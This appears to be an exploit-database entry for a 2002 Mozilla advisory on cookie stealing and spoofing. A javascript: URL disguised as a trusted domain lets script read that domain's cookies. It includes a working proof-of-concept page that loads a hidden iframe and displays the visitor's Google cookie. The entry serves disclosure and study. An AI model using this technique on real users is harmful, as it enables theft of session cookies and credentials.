Mozilla cookie stealing/spoofing

vendor:

Mozilla Web Browser

by:

Andreas Sandblad

7.5

CVSS

HIGH

Cookie stealing/spoofing

200

CWE

Product Name: Mozilla Web Browser

Affected Version From: Mozilla 1.0

Affected Version To: Mozilla 1.2.1

Patch Exists: Yes

Related CWE: N/A

CPE: Mozilla

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Microsoft Windows and Linux

2002

Mozilla cookie stealing/spoofing

It has been reported possible to create a javascript: URL which appears to start with a valid domain. Malicious script code may specify an arbitrary domain, and will be able to access cookie data associated with that domain.

Mitigation:

Ensure that the browser is updated to the latest version and that all security patches are applied.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/5293/info


Mozilla is an open source web browser available for a number of platforms, including Microsoft Windows and Linux. An issue has been reported in the Mozilla web browser which may allow script code to access cookie data associated with arbitrary domains.

It has been reported possible to create a javascript: URL which appears to start with a valid domain. Malicious script code may specify an arbitrary domain, and will be able to access cookie data associated with that domain.

Exploitation of this vulnerability may result in a remote attacker gaining access to sensitive cookie data, including authentication credentials.

<pre>
Title: Mozilla cookie stealing/spoofing
Date: [2002-07-24]
Impact: Steal/spoof arbitrary cookie _ _
using javascript: URLs o' \,=./ `o
Author: Andreas Sandblad, sandblad@acc.umu.se (o o)
---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---
This demo will display your google cookie (must exist).
</pre>

<body onload=init()>
<iframe name=f height=0 width=0 style=visibility:hidden></iframe>
<script>
function init(){
f.location = "javascript://www.google.com/\n"+
"'<body onload=alert(document.cookie)>'";
}
</script>